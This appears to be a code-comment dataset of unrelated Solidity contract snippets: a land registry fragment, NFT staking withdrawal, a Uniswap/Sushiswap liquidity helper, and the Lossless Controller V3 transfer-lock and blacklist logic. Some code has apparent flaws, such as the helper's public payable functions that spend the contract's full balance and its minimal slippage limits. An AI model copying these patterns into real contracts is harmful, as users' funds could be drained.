userLands[i].LandOnRoad, userLands[i].LandArea, userLands[i].District, userLands[i].State, userLands[i].Price); } } return count; }*/ /*function getLandByDistrict (string memory _district) public view returns(uint256) { uint256 count; for (uint256 i = 1; i <= lands.length; i++) { if (uint(keccak256(abi.encodePacked(userLands[i].District))) == uint(keccak256(abi.encodePacked(_district)))) { count++; //return (userLands[i].Owner, userLands[i].ReraRegisteredNo, userLands[i].LandOnRoad, userLands[i].LandArea, userLands[i].District, userLands[i].State, userLands[i].Price); } } return count; }*/ /*function getLandByLandOnRoad (uint256[] lands) public view returns(uint256/*, uint256[]) { uint256 count; for (uint256 i = 1; i <= lands.length; i++) { if (userLands[i].LandOnRoad == true) { count++; //return (userLands[i].Owner, userLands[i].ReraRegisteredNo, userLands[i].LandOnRoad, userLands[i].LandArea, userLands[i].District, userLands[i].State, userLands[i].Price); } } return count; }*/ } //uint(keccak256(abi.encodePacked(land.LandOnRoad)))
ownership change request must existtransfer coins from contract to selleruint160 is used to explicitly convert the address as payableadmin, i.e., the government approves the change of ownership;transfers the ownership to the buyerempty the owner change request
function changeLandOwner (uint256 _landId, address _newOwner) onlyOwner(_landId) public { require (landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] != address(0)); address(uint160(msg.sender)).transfer(userLands[_landId].Price); emit Transaction (admin, msg.sender, userLands[_landId].Price); govSignOwnership(userLands[_landId].ReraRegisteredNo, userLands[_landId].Owner, _newOwner); userLands[_landId].Owner = landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))]; refund(_landId); landOwnerChangeRequest[uint(keccak256(abi.encodePacked(userLands[_landId].ReraRegisteredNo)))] = address(0); }
988,843
./full_match/5/0xe1F4D298FfEBeE985E6d704DC91dAA20Ed8B006E/sources/_thirdweb-dev/contracts/extension/Staking721Upgradeable.sol
Withdraw logic. Override to add custom logic.
function _withdraw(uint256[] calldata _tokenIds) internal virtual { uint256 _amountStaked = stakers[msg.sender].amountStaked; uint256 len = _tokenIds.length; require(len != 0, "Withdrawing 0 tokens"); require(_amountStaked >= len, "Withdrawing more than staked"); address _nftCollection = nftCollection; _updateUnclaimedRewardsForStaker(msg.sender); if (_amountStaked == len) { for (uint256 i = 0; i < stakersArray.length; ++i) { if (stakersArray[i] == msg.sender) { stakersArray[i] = stakersArray[stakersArray.length - 1]; stakersArray.pop(); } } } stakers[msg.sender].amountStaked -= len; for (uint256 i = 0; i < len; ++i) { require(stakerAddress[_tokenIds[i]] == msg.sender, "Not staker"); stakerAddress[_tokenIds[i]] = address(0); IERC721(_nftCollection).transferFrom(address(this), msg.sender, _tokenIds[i]); } emit TokensWithdrawn(msg.sender, _tokenIds); }
1,879,647
./full_match/11155111/0x40FD79d469F7Ec8D942ee467b54C80026639697F/sources/contracts/PWNVault.sol
Returns true if this contract implements the interface defined by `interfaceId`. See the corresponding to learn more about how these ids are created. This function call must use less than 30 000 gas./
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { return interfaceId == type(IERC165).interfaceId || interfaceId == type(Ownable).interfaceId || interfaceId == type(IERC721Receiver).interfaceId || interfaceId == type(IERC1155Receiver).interfaceId || interfaceId == this.PWN.selector ^ this.pull.selector ^ this.push.selector ^ this.pushFrom.selector }
3,826,317
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.7.5; import "../libraries/SafeMath.sol"; import "../libraries/SafeERC20.sol"; import "../interfaces/IUniswapV2Router2.sol"; import "../interfaces/IUniswapV2Factory.sol"; import "../interfaces/IHelper.sol"; import "hardhat/console.sol"; contract Helper is IHelper { using SafeMath for uint256; using SafeERC20 for IERC20; address private immutable UNISWAP2_FACTORY; address private immutable UNISWAP2_ROUTER; address private immutable SUSHI_FACTORY; address private immutable SUSHI_ROUTER; address private immutable WETH; IERC20 private constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); /// @dev Provides a standard implementation for transferring assets between /// the msg.sender and the helper, by wrapping the action. modifier transferHandler(bytes memory _encodedArgs) { ( uint256 depositAmount, address depositAsset, address payoutAsset, address incomingAsset ) = __decodeSwapArgs(_encodedArgs); if(depositAsset != address(0)) { IERC20(depositAsset).safeTransferFrom(msg.sender, address(this), depositAmount); } // Execute call _; // remain asset to send caller back __transferAssetToCaller(msg.sender, depositAsset); __transferAssetToCaller(msg.sender, payoutAsset); } receive() external payable {} constructor( address _uniswap2Factory, address _uniswap2Router, address _sushiswapFactory, address _sushiswapRouter ) { require(_uniswap2Factory != address(0), "Helper: _uniswap2Factory must not be zero address"); require(_uniswap2Router != address(0), "Helper: _uniswap2Router must not be zero address"); require(_sushiswapFactory != address(0), "Helper: _sushiswapFactory must not be zero address"); require(_sushiswapRouter != address(0), "Helper: _sushiswapRouter must not be zero address"); UNISWAP2_FACTORY = _uniswap2Factory; UNISWAP2_ROUTER = _uniswap2Router; SUSHI_FACTORY = _sushiswapFactory; SUSHI_ROUTER = _sushiswapRouter; WETH = IUniswapV2Router2(_uniswap2Router).WETH(); } /// @notice get LP token and LP amount /// @param _swapArgs encoded data /// @return lpAddress_ lp token address /// @return lpAmount_ lp token amount function swapForDeposit(bytes calldata _swapArgs) external override transferHandler(_swapArgs) returns (address lpAddress_, uint256 lpAmount_) { (lpAddress_, lpAmount_) = __swapForDeposit(_swapArgs); } /// Avoids stack-too-deep error. function __swapForDeposit(bytes calldata _swapArgs) private returns (address lpAddress_, uint256 lpAmount_) { ( uint256 depositAmount, address depositAsset, address payoutAsset, address incomingAsset ) = __decodeSwapArgs(_swapArgs); address router; address factory; uint256 payoutAmount = depositAmount; address[] memory path = new address[](2); if(depositAsset != payoutAsset) { path[0] = depositAsset; if(path[0] == address(0)) { path[0] = WETH; } path[1] = payoutAsset; (router,) = __checkPool(path); require(router != address(0), "Swap: No Pool"); // Get payoutAmount from depositAsset on Uniswap/Sushiswap payoutAmount = IUniswapV2Router2(router).getAmountsOut(depositAmount, path)[1]; if(path[0] == WETH) { __swapETHToToken(depositAmount, payoutAmount, router, path); } else { __swapTokenToToken(depositAmount, payoutAmount, router, path); } } path[0] = payoutAsset; path[1] = incomingAsset; (router, factory) = __checkPool(path); require(router != address(0), "Swap: No Pool"); uint256 expectedAmount = IUniswapV2Router2(router).getAmountsOut(payoutAmount.div(2), path)[1]; __swapTokenToToken(payoutAmount.div(2), expectedAmount, router, path); (lpAddress_, lpAmount_) = addLiquidityToken( factory, router, path, payoutAmount, expectedAmount ); } /// @notice Swap ERC20 Token to ERC20 Token function __swapTokenToToken( uint256 _payoutAmount, uint256 _expectedAmount, address _router, address[] memory _path ) private returns (uint256[] memory amounts_) { __approveMaxAsNeeded(_path[0], _router, _payoutAmount); amounts_ = IUniswapV2Router2(_router).swapExactTokensForTokens( _payoutAmount, _expectedAmount, _path, address(this), block.timestamp.add(1) ); } /// @notice Swap ETH to ERC20 Token function __swapETHToToken( uint256 _payoutAmount, uint256 _expectedAmount, address _router, address[] memory _path ) public payable returns (uint256[] memory amounts_) { __approveMaxAsNeeded(_path[0], _router, _payoutAmount); amounts_ = IUniswapV2Router2(_router).swapExactETHForTokens{value: address(this).balance}( _expectedAmount, _path, address(this), block.timestamp.add(1) ); } /// @notice get LP token on uniswap/sushiswap /// @param _factory factory address of uni/sushi /// @param _router router address of uni/sushi /// @param _path address[] /// @param _amountADesired tokenA amount /// @param _amountBDesired tokenB amount /// @return lpAddress_ lp token address /// @return lpAmount_ lp token amount function addLiquidityToken( address _factory, address _router, address[] memory _path, uint256 _amountADesired, uint256 _amountBDesired ) private returns (address lpAddress_, uint256 lpAmount_) { if(_path[0] == address(ETH_ADDRESS) || _path[0] == WETH) { lpAmount_ = __addETHAndToken( _router, _path, _amountADesired, _amountBDesired ); } else { lpAmount_ = __addTokenAndToken( _router, _path, _amountADesired, _amountBDesired ); } lpAddress_ = IUniswapV2Factory(_factory).getPair(_path[0], _path[1]); __transferAssetToCaller(msg.sender, lpAddress_); } /// @notice addLiquidityETH for lp tokens on uni/sushi function __addETHAndToken( address _router, address[] memory _path, uint256 _amountADesired, uint256 _amountBDesired ) public payable returns (uint256 lpAmount_) { __approveMaxAsNeeded(_path[0], _router, _amountADesired); __approveMaxAsNeeded(_path[1], _router, _amountBDesired); payable(address(_router)).transfer(_amountADesired); // Execute addLiquidityETH on Uniswap/Sushi (, , lpAmount_) = IUniswapV2Router2(_router).addLiquidityETH{value: address(this).balance}( _path[1], _amountBDesired, 1, 1, msg.sender, block.timestamp.add(1) ); } /// @notice addLiquidity for lp tokens on Uniswap/Sushi /// @dev Avoid stack too deep function __addTokenAndToken( address _router, address[] memory _path, uint256 _amountADesired, uint256 _amountBDesired ) private returns (uint256 lpAmount_) { __approveMaxAsNeeded(_path[0], _router, _amountADesired); __approveMaxAsNeeded(_path[1], _router, _amountBDesired); // Get expected output amount on Uniswap/Sushi address[] memory path = new address[](2); path[0] = _path[1]; path[1] = _path[0]; uint256 amountAMax = IUniswapV2Router2(_router).getAmountsOut(_amountBDesired, path)[1]; // Execute addLiquicity on Uniswap/Sushi (, , lpAmount_) = IUniswapV2Router2(_router).addLiquidity( _path[0], _path[1], amountAMax, _amountBDesired, 1, 1, msg.sender, block.timestamp.add(1) ); } /// @dev Helper to decode swap encoded call arguments function __decodeSwapArgs(bytes memory _encodedCallArgs) private pure returns ( uint256 depositAmount_, address depositAsset_, address payoutAsset_, address incomingAsset_ ) { return abi.decode(_encodedCallArgs, (uint256, address, address, address)); } /// @dev Helper for asset to approve their max amount of an asset. function __approveMaxAsNeeded( address _asset, address _target, uint256 _neededAmount ) private { if (IERC20(_asset).allowance(address(this), _target) < _neededAmount) { IERC20(_asset).safeApprove(_target, type(uint256).max); } } /// @dev Helper to transfer full contract balances of assets to the caller function __transferAssetToCaller(address payable _target, address _asset) private { uint256 transferAmount; if(_asset == address(ETH_ADDRESS) || _asset == address(0)) { transferAmount = address(this).balance; if (transferAmount > 0) { _target.transfer(transferAmount); } } else { transferAmount = IERC20(_asset).balanceOf(address(this)); if (transferAmount > 0) { IERC20(_asset).safeTransfer(_target, transferAmount); } } } /// @dev check if special pool exist on uniswap or sushiswap function __checkPool(address[] memory _path) private view returns (address router_, address factory_) { address uniPool = IUniswapV2Factory(UNISWAP2_FACTORY).getPair(_path[0], _path[1]); address sushiPool = IUniswapV2Factory(SUSHI_FACTORY).getPair(_path[0], _path[1]); if(uniPool == address(0) && sushiPool != address(0)) { return (SUSHI_ROUTER, SUSHI_FACTORY); } else if(uniPool != address(0) && sushiPool == address(0)) { return (UNISWAP2_ROUTER, UNISWAP2_FACTORY); } else if(uniPool != address(0) && sushiPool != address(0)) { return (UNISWAP2_ROUTER, UNISWAP2_FACTORY); } else if(uniPool == address(0) && sushiPool == address(0)) { return (address(0), address(0)); } } /// @notice Gets the `UNISWAP2_FACTORY` variable function getUniswapFactory() external view returns (address factory_) { return UNISWAP2_FACTORY; } /// @notice Gets the `SUSHI_FACTORY` variable function getSushiFactory() external view returns (address factory_) { return SUSHI_FACTORY; } /// @notice Gets the `UNISWAP2_ROUTER` variable function getUniswapRouter() external view returns (address router_) { return UNISWAP2_ROUTER; } /// @notice Gets the `SUSHI_ROUTER` variable function getSushiRouter() external view returns (address router_) { return SUSHI_ROUTER; } }
get LP token and LP amount _swapArgs encoded data return lpAddress_ lp token address return lpAmount_ lp token amount
function swapForDeposit(bytes calldata _swapArgs) external override transferHandler(_swapArgs) returns (address lpAddress_, uint256 lpAmount_) { (lpAddress_, lpAmount_) = __swapForDeposit(_swapArgs); }
12,825,408
./partial_match/1/0x5899Efea757E0Dbd6d114b3375C23D7540f65fa4/sources/FactRegistry.sol
This function stores the fact hash in the mapping. Mark first time off.
function registerFact(bytes32 factHash) internal { verifiedFact[factHash] = true; if (!anyFactRegistered) { anyFactRegistered = true; } }
2,736,697
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "./Interfaces/ILosslessERC20.sol"; import "./Interfaces/ILosslessGovernance.sol"; import "./Interfaces/ILosslessStaking.sol"; import "./Interfaces/ILosslessReporting.sol"; import "./Interfaces/IProtectionStrategy.sol"; /// @title Lossless Controller Contract /// @notice The controller contract is in charge of the communication and senstive data among all Lossless Environment Smart Contracts contract LosslessControllerV3 is ILssController, Initializable, ContextUpgradeable, PausableUpgradeable { // IMPORTANT!: For future reference, when adding new variables for following versions of the controller. // All the previous ones should be kept in place and not change locations, types or names. // If thye're modified this would cause issues with the memory slots. address override public pauseAdmin; address override public admin; address override public recoveryAdmin; // --- V2 VARIABLES --- address override public guardian; mapping(ILERC20 => Protections) private tokenProtections; struct Protection { bool isProtected; ProtectionStrategy strategy; } struct Protections { mapping(address => Protection) protections; } // --- V3 VARIABLES --- ILssStaking override public losslessStaking; ILssReporting override public losslessReporting; ILssGovernance override public losslessGovernance; struct LocksQueue { mapping(uint256 => ReceiveCheckpoint) lockedFunds; uint256 touchedTimestamp; uint256 first; uint256 last; } struct TokenLockedFunds { mapping(address => LocksQueue) queue; } mapping(ILERC20 => TokenLockedFunds) private tokenScopedLockedFunds; struct ReceiveCheckpoint { uint256 amount; uint256 timestamp; uint256 cummulativeAmount; } uint256 public constant HUNDRED = 1e2; uint256 override public dexTranferThreshold; uint256 override public settlementTimeLock; mapping(address => bool) override public dexList; mapping(address => bool) override public whitelist; mapping(address => bool) override public blacklist; struct TokenConfig { uint256 tokenLockTimeframe; uint256 proposedTokenLockTimeframe; uint256 changeSettlementTimelock; uint256 emergencyMode; } mapping(ILERC20 => TokenConfig) tokenConfig; // --- MODIFIERS --- /// @notice Avoids execution from other than the Recovery Admin modifier onlyLosslessRecoveryAdmin() { require(msg.sender == recoveryAdmin, "LSS: Must be recoveryAdmin"); _; } /// @notice Avoids execution from other than the Lossless Admin modifier onlyLosslessAdmin() { require(msg.sender == admin, "LSS: Must be admin"); _; } /// @notice Avoids execution from other than the Pause Admin modifier onlyPauseAdmin() { require(msg.sender == pauseAdmin, "LSS: Must be pauseAdmin"); _; } // --- V2 MODIFIERS --- modifier onlyGuardian() { require(msg.sender == guardian, "LOSSLESS: Must be Guardian"); _; } // --- V3 MODIFIERS --- /// @notice Avoids execution from other than the Lossless Admin or Lossless Environment modifier onlyLosslessEnv { require(msg.sender == address(losslessStaking) || msg.sender == address(losslessReporting) || msg.sender == address(losslessGovernance), "LSS: Lss SC only"); _; } // --- VIEWS --- /// @notice This function will return the contract version function getVersion() external pure returns (uint256) { return 3; } // --- V2 VIEWS --- function isAddressProtected(ILERC20 _token, address _protectedAddress) public view returns (bool) { return tokenProtections[_token].protections[_protectedAddress].isProtected; } function getProtectedAddressStrategy(ILERC20 _token, address _protectedAddress) external view returns (address) { require(isAddressProtected(_token, _protectedAddress), "LSS: Address not protected"); return address(tokenProtections[_token].protections[_protectedAddress].strategy); } // --- ADMINISTRATION --- function pause() override public onlyPauseAdmin { _pause(); } function unpause() override public onlyPauseAdmin { _unpause(); } /// @notice This function sets a new admin /// @dev Only can be called by the Recovery admin /// @param _newAdmin Address corresponding to the new Lossless Admin function setAdmin(address _newAdmin) override public onlyLosslessRecoveryAdmin { require(_newAdmin != admin, "LERC20: Cannot set same address"); emit AdminChange(_newAdmin); admin = _newAdmin; } /// @notice This function sets a new recovery admin /// @dev Only can be called by the previous Recovery admin /// @param _newRecoveryAdmin Address corresponding to the new Lossless Recovery Admin function setRecoveryAdmin(address _newRecoveryAdmin) override public onlyLosslessRecoveryAdmin { require(_newRecoveryAdmin != recoveryAdmin, "LERC20: Cannot set same address"); emit RecoveryAdminChange(_newRecoveryAdmin); recoveryAdmin = _newRecoveryAdmin; } /// @notice This function sets a new pause admin /// @dev Only can be called by the Recovery admin /// @param _newPauseAdmin Address corresponding to the new Lossless Recovery Admin function setPauseAdmin(address _newPauseAdmin) override public onlyLosslessRecoveryAdmin { require(_newPauseAdmin != pauseAdmin, "LERC20: Cannot set same address"); emit PauseAdminChange(_newPauseAdmin); pauseAdmin = _newPauseAdmin; } // --- V3 SETTERS --- /// @notice This function sets the timelock for tokens to change the settlement period /// @dev Only can be called by the Lossless Admin /// @param _newTimelock Timelock in seconds function setSettlementTimeLock(uint256 _newTimelock) override public onlyLosslessAdmin { require(_newTimelock != settlementTimeLock, "LSS: Cannot set same value"); settlementTimeLock = _newTimelock; emit NewSettlementTimelock(settlementTimeLock); } /// @notice This function sets the transfer threshold for Dexes /// @dev Only can be called by the Lossless Admin /// @param _newThreshold Timelock in seconds function setDexTransferThreshold(uint256 _newThreshold) override public onlyLosslessAdmin { require(_newThreshold != dexTranferThreshold, "LSS: Cannot set same value"); dexTranferThreshold = _newThreshold; emit NewDexThreshold(dexTranferThreshold); } /// @notice This function removes or adds an array of dex addresses from the whitelst /// @dev Only can be called by the Lossless Admin, only Lossless addresses /// @param _dexList List of dex addresses to add or remove /// @param _value True if the addresses are bieng added, false if removed function setDexList(address[] calldata _dexList, bool _value) override public onlyLosslessAdmin { for(uint256 i = 0; i < _dexList.length;) { address adr = _dexList[i]; require(!blacklist[adr], "LSS: An address is blacklisted"); dexList[adr] = _value; if (_value) { emit NewDex(adr); } else { emit DexRemoval(adr); } unchecked{i++;} } } /// @notice This function removes or adds an array of addresses from the whitelst /// @dev Only can be called by the Lossless Admin, only Lossless addresses /// @param _addrList List of addresses to add or remove /// @param _value True if the addresses are bieng added, false if removed function setWhitelist(address[] calldata _addrList, bool _value) override public onlyLosslessAdmin { for(uint256 i = 0; i < _addrList.length;) { address adr = _addrList[i]; require(!blacklist[adr], "LSS: An address is blacklisted"); whitelist[adr] = _value; if (_value) { emit NewWhitelistedAddress(adr); } else { emit WhitelistedAddressRemoval(adr); } unchecked{i++;} } } /// @notice This function adds an address to the blacklist /// @dev Only can be called by the Lossless Admin, and from other Lossless Contracts /// The address gets blacklisted whenever a report is created on them. /// @param _adr Address corresponding to be added to the blacklist mapping function addToBlacklist(address _adr) override public onlyLosslessEnv { blacklist[_adr] = true; emit NewBlacklistedAddress(_adr); } /// @notice This function removes an address from the blacklist /// @dev Can only be called from other Lossless Contracts, used mainly in Lossless Governance /// @param _adr Address corresponding to be removed from the blacklist mapping function resolvedNegatively(address _adr) override public onlyLosslessEnv { blacklist[_adr] = false; emit AccountBlacklistRemoval(_adr); } /// @notice This function sets the address of the Lossless Staking contract /// @param _adr Address corresponding to the Lossless Staking contract function setStakingContractAddress(ILssStaking _adr) override public onlyLosslessAdmin { require(address(_adr) != address(0), "LERC20: Cannot be zero address"); require(_adr != losslessStaking, "LSS: Cannot set same value"); losslessStaking = _adr; emit NewStakingContract(_adr); } /// @notice This function sets the address of the Lossless Reporting contract /// @param _adr Address corresponding to the Lossless Reporting contract function setReportingContractAddress(ILssReporting _adr) override public onlyLosslessAdmin { require(address(_adr) != address(0), "LERC20: Cannot be zero address"); require(_adr != losslessReporting, "LSS: Cannot set same value"); losslessReporting = _adr; emit NewReportingContract(_adr); } /// @notice This function sets the address of the Lossless Governance contract /// @param _adr Address corresponding to the Lossless Governance contract function setGovernanceContractAddress(ILssGovernance _adr) override public onlyLosslessAdmin { require(address(_adr) != address(0), "LERC20: Cannot be zero address"); require(_adr != losslessGovernance, "LSS: Cannot set same value"); losslessGovernance = _adr; emit NewGovernanceContract(_adr); } /// @notice This function starts a new proposal to change the SettlementPeriod /// @param _token to propose the settlement change period on /// @param _seconds Time frame that the recieved funds will be locked function proposeNewSettlementPeriod(ILERC20 _token, uint256 _seconds) override public { TokenConfig storage config = tokenConfig[_token]; require(msg.sender == _token.admin(), "LSS: Must be Token Admin"); require(config.changeSettlementTimelock <= block.timestamp, "LSS: Time lock in progress"); config.changeSettlementTimelock = block.timestamp + settlementTimeLock; config.proposedTokenLockTimeframe = _seconds; emit NewSettlementPeriodProposal(_token, _seconds); } /// @notice This function executes the new settlement period after the timelock /// @param _token to set time settlement period on function executeNewSettlementPeriod(ILERC20 _token) override public { TokenConfig storage config = tokenConfig[_token]; require(msg.sender == _token.admin(), "LSS: Must be Token Admin"); require(config.proposedTokenLockTimeframe != 0, "LSS: New Settlement not proposed"); require(config.changeSettlementTimelock <= block.timestamp, "LSS: Time lock in progress"); config.tokenLockTimeframe = config.proposedTokenLockTimeframe; config.proposedTokenLockTimeframe = 0; emit SettlementPeriodChange(_token, config.tokenLockTimeframe); } /// @notice This function activates the emergency mode /// @dev When a report gets generated for a token, it enters an emergency state globally. /// The emergency period will be active for one settlement period. /// During this time users can only transfer settled tokens /// @param _token Token on which the emergency mode must get activated function activateEmergency(ILERC20 _token) override external onlyLosslessEnv { tokenConfig[_token].emergencyMode = block.timestamp; emit EmergencyActive(_token); } /// @notice This function deactivates the emergency mode /// @param _token Token on which the emergency mode will be deactivated function deactivateEmergency(ILERC20 _token) override external onlyLosslessEnv { tokenConfig[_token].emergencyMode = 0; emit EmergencyDeactivation(_token); } // --- GUARD --- // @notice Set a guardian contract. // @dev Guardian contract must be trusted as it has some access rights and can modify controller's state. function setGuardian(address _newGuardian) override external onlyLosslessAdmin whenNotPaused { require(_newGuardian != address(0), "LSS: Cannot be zero address"); emit GuardianSet(guardian, _newGuardian); guardian = _newGuardian; } // @notice Sets protection for an address with the choosen strategy. // @dev Strategies are verified in the guardian contract. // @dev This call is initiated from a strategy, but guardian proxies it. function setProtectedAddress(ILERC20 _token, address _protectedAddress, ProtectionStrategy _strategy) override external onlyGuardian whenNotPaused { Protection storage protection = tokenProtections[_token].protections[_protectedAddress]; protection.isProtected = true; protection.strategy = _strategy; emit NewProtectedAddress(_token, _protectedAddress, address(_strategy)); } // @notice Remove the protection from the address. // @dev Strategies are verified in the guardian contract. // @dev This call is initiated from a strategy, but guardian proxies it. function removeProtectedAddress(ILERC20 _token, address _protectedAddress) override external onlyGuardian whenNotPaused { require(isAddressProtected(_token, _protectedAddress), "LSS: Address not protected"); delete tokenProtections[_token].protections[_protectedAddress]; emit RemovedProtectedAddress(_token, _protectedAddress); } function _getLatestOudatedCheckpoint(LocksQueue storage queue) private view returns (uint256, uint256) { uint256 lower = queue.first; uint256 upper = queue.last; uint256 currentTimestamp = block.timestamp; uint256 center = queue.first; ReceiveCheckpoint memory cp = queue.lockedFunds[queue.last]; ReceiveCheckpoint memory lowestCp = queue.lockedFunds[queue.first]; while (upper > lower) { center = upper - ((upper - lower) >> 1); // ceil, avoiding overflow cp = queue.lockedFunds[center]; if (cp.timestamp == currentTimestamp) { return (cp.cummulativeAmount, center + 1); } else if (cp.timestamp < currentTimestamp) { lowestCp = cp; lower = center; } else { upper = center - 1; center = upper; } } if (lowestCp.timestamp < currentTimestamp) { if (cp.timestamp < lowestCp.timestamp) { return (cp.cummulativeAmount, center); } else { return (lowestCp.cummulativeAmount, lower + 1); } } else { return (0, center); } } /// @notice This function will calculate the available amount that an address has to transfer. /// @param _token Address corresponding to the token being held /// @param account Address to get the available amount function _getAvailableAmount(ILERC20 _token, address account) private returns (uint256 amount) { LocksQueue storage queue = tokenScopedLockedFunds[_token].queue[account]; ReceiveCheckpoint storage cp = queue.lockedFunds[queue.last]; (uint256 outdatedCummulative, uint256 newFirst) = _getLatestOudatedCheckpoint(queue); queue.first = newFirst; cp.cummulativeAmount = cp.cummulativeAmount - outdatedCummulative; return _token.balanceOf(account) - cp.cummulativeAmount; } // LOCKs & QUEUES /// @notice This function add transfers to the lock queues /// @param _checkpoint timestamp of the transfer /// @param _recipient Address to add the locks function _enqueueLockedFunds(ReceiveCheckpoint memory _checkpoint, address _recipient) private { LocksQueue storage queue; queue = tokenScopedLockedFunds[ILERC20(msg.sender)].queue[_recipient]; uint256 lastItem = queue.last; ReceiveCheckpoint storage lastCheckpoint = queue.lockedFunds[lastItem]; if (lastCheckpoint.timestamp < _checkpoint.timestamp) { // Most common scenario where the item goes at the end of the queue _checkpoint.cummulativeAmount = _checkpoint.amount + lastCheckpoint.cummulativeAmount; queue.lockedFunds[lastItem + 1] = _checkpoint; queue.last += 1; } else { // Second most common scenario where the timestamps are the same // or new one is smaller than the latest one. // So the amount adds up. lastCheckpoint.amount += _checkpoint.amount; lastCheckpoint.cummulativeAmount += _checkpoint.amount; } if (queue.first == 0) { queue.first += 1; } } // --- REPORT RESOLUTION --- /// @notice This function retrieves the funds of the reported account /// @param _addresses Array of addreses to retrieve the locked funds /// @param _token Token to retrieve the funds from /// @param _reportId Report Id related to the incident function retrieveBlacklistedFunds(address[] calldata _addresses, ILERC20 _token, uint256 _reportId) override public onlyLosslessEnv returns(uint256){ uint256 totalAmount = losslessGovernance.getAmountReported(_reportId); _token.transferOutBlacklistedFunds(_addresses); (uint256 reporterReward, uint256 losslessReward, uint256 committeeReward, uint256 stakersReward) = losslessReporting.getRewards(); uint256 toLssStaking = totalAmount * stakersReward / HUNDRED; uint256 toLssReporting = totalAmount * reporterReward / HUNDRED; uint256 toLssGovernance = totalAmount - toLssStaking - toLssReporting; require(_token.transfer(address(losslessStaking), toLssStaking), "LSS: Staking retrieval failed"); require(_token.transfer(address(losslessReporting), toLssReporting), "LSS: Reporting retrieval failed"); require(_token.transfer(address(losslessGovernance), toLssGovernance), "LSS: Governance retrieval failed"); return totalAmount - toLssStaking - toLssReporting - (totalAmount * (committeeReward + losslessReward) / HUNDRED); } /// @notice This function will lift the locks after a certain amount /// @dev The condition to lift the locks is that their checkpoint should be greater than the set amount /// @param _availableAmount Unlocked Amount /// @param _account Address to lift the locks /// @param _amount Amount to lift function _removeUsedUpLocks (uint256 _availableAmount, address _account, uint256 _amount) private { LocksQueue storage queue; ILERC20 token = ILERC20(msg.sender); queue = tokenScopedLockedFunds[token].queue[_account]; require(queue.touchedTimestamp + tokenConfig[token].tokenLockTimeframe <= block.timestamp, "LSS: Transfers limit reached"); uint256 amountLeft = _amount - _availableAmount; ReceiveCheckpoint storage cp = queue.lockedFunds[queue.last]; cp.cummulativeAmount -= amountLeft; queue.touchedTimestamp = block.timestamp; } // --- BEFORE HOOKS --- /// @notice This function evaluates if the transfer can be made /// @param _sender Address sending the funds /// @param _recipient Address recieving the funds /// @param _amount Amount to be transfered function _evaluateTransfer(address _sender, address _recipient, uint256 _amount) private returns (bool) { ILERC20 token = ILERC20(msg.sender); uint256 settledAmount = _getAvailableAmount(token, _sender); TokenConfig storage config = tokenConfig[token]; if (_amount > settledAmount) { require(config.emergencyMode + config.tokenLockTimeframe < block.timestamp, "LSS: Emergency mode active, cannot transfer unsettled tokens"); if (dexList[_recipient]) { require(_amount - settledAmount <= dexTranferThreshold, "LSS: Cannot transfer over the dex threshold"); } else { _removeUsedUpLocks(settledAmount, _sender, _amount); } } ReceiveCheckpoint memory newCheckpoint = ReceiveCheckpoint(_amount, block.timestamp + config.tokenLockTimeframe, 0); _enqueueLockedFunds(newCheckpoint, _recipient); return true; } /// @notice If address is protected, transfer validation rules have to be run inside the strategy. /// @dev isTransferAllowed reverts in case transfer can not be done by the defined rules. function beforeTransfer(address _sender, address _recipient, uint256 _amount) override external { ILERC20 token = ILERC20(msg.sender); if (tokenProtections[token].protections[_sender].isProtected) { tokenProtections[token].protections[_sender].strategy.isTransferAllowed(msg.sender, _sender, _recipient, _amount); } require(!blacklist[_sender], "LSS: You cannot operate"); if (tokenConfig[token].tokenLockTimeframe != 0) { _evaluateTransfer(_sender, _recipient, _amount); } } /// @notice If address is protected, transfer validation rules have to be run inside the strategy. /// @dev isTransferAllowed reverts in case transfer can not be done by the defined rules. function beforeTransferFrom(address _msgSender, address _sender, address _recipient, uint256 _amount) override external { ILERC20 token = ILERC20(msg.sender); if (tokenProtections[token].protections[_sender].isProtected) { tokenProtections[token].protections[_sender].strategy.isTransferAllowed(msg.sender, _sender, _recipient, _amount); } require(!blacklist[_msgSender], "LSS: You cannot operate"); require(!blacklist[_sender], "LSS: Sender is blacklisted"); if (tokenConfig[token].tokenLockTimeframe != 0) { _evaluateTransfer(_sender, _recipient, _amount); } } // The following before hooks are in place as a placeholder for future products. // Also to preserve legacy LERC20 compatibility function beforeMint(address _to, uint256 _amount) override external {} function beforeApprove(address _sender, address _spender, uint256 _amount) override external {} function beforeBurn(address _account, uint256 _amount) override external {} function beforeIncreaseAllowance(address _msgSender, address _spender, uint256 _addedValue) override external {} function beforeDecreaseAllowance(address _msgSender, address _spender, uint256 _subtractedValue) override external {} // --- AFTER HOOKS --- // * After hooks are deprecated in LERC20 but we have to keep them // here in order to support legacy LERC20. function afterMint(address _to, uint256 _amount) external {} function afterApprove(address _sender, address _spender, uint256 _amount) external {} function afterBurn(address _account, uint256 _amount) external {} function afterTransfer(address _sender, address _recipient, uint256 _amount) external {} function afterTransferFrom(address _msgSender, address _sender, address _recipient, uint256 _amount) external {} function afterIncreaseAllowance(address _sender, address _spender, uint256 _addedValue) external {} function afterDecreaseAllowance(address _sender, address _spender, uint256 _subtractedValue) external {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) 